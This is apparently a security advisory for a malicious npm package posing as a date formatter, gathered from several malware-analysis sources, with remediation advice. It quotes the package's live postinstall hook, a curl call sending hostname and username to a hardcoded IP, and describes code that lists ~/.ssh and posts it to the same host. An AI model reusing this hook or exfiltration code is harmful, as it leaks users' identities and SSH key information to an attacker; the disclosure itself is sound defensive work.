MAL-2026-11484 Malicious code in simple-date-formatter-util-1 (npm)
- Published
- Updated
- Exploit status
- No public exploit known
Description
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (f633eec2e322fce0493ff996493eebe8036c628be4ab0caf4844928d6ccdf10f)
Package advertises itself as a date formatting utility but ships an active install-time exfiltration payload. package.json declares a postinstall hook curl http://124.221.154.135/pre?h=$(hostname)&u=$(whoami) that fires automatically on npm install, sending the installer's hostname and username over plaintext HTTP to a hardcoded bare IP. A shipped postinstall.js additionally reads the installer's ~/.ssh directory via fs.readdirSync(sshDir) and POSTs the listing along with username/platform to the same host 124.221.154.135. Source comments explicitly describe theft targets and C2/exfiltration behavior, confirming the mismatch between the advertised purpose and the actual behavior.
Source: ghsa-malware (cf71be7a588ae717e33fc9fe98c246a1037e8a38d385a18104a5c0fe8ff1f659)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source: ossf-package-analysis (8fbc767ae4319a00160dc56f05c82dc051f9fd8d66674de81372935f529ed241)
The OpenSSF Package Analysis project identified 'simple-date-formatter-util-1' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Upgrade path
1 package: 0 fixed, 1 with no fix yet.
| Package | Affected | Fixed in | Status |
|---|---|---|---|
| npm simple-date-formatter-util-1(npm) | = 1.0.0; All versions | No fix listed | No fix yet |
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| npm simple-date-formatter-util-1(npm) | All versions | No fix listed |
| npm simple-date-formatter-util-1(npm) | = 1.0.0 | No fix listed |
References
- github.com vendor-advisory
- www.npmjs.com product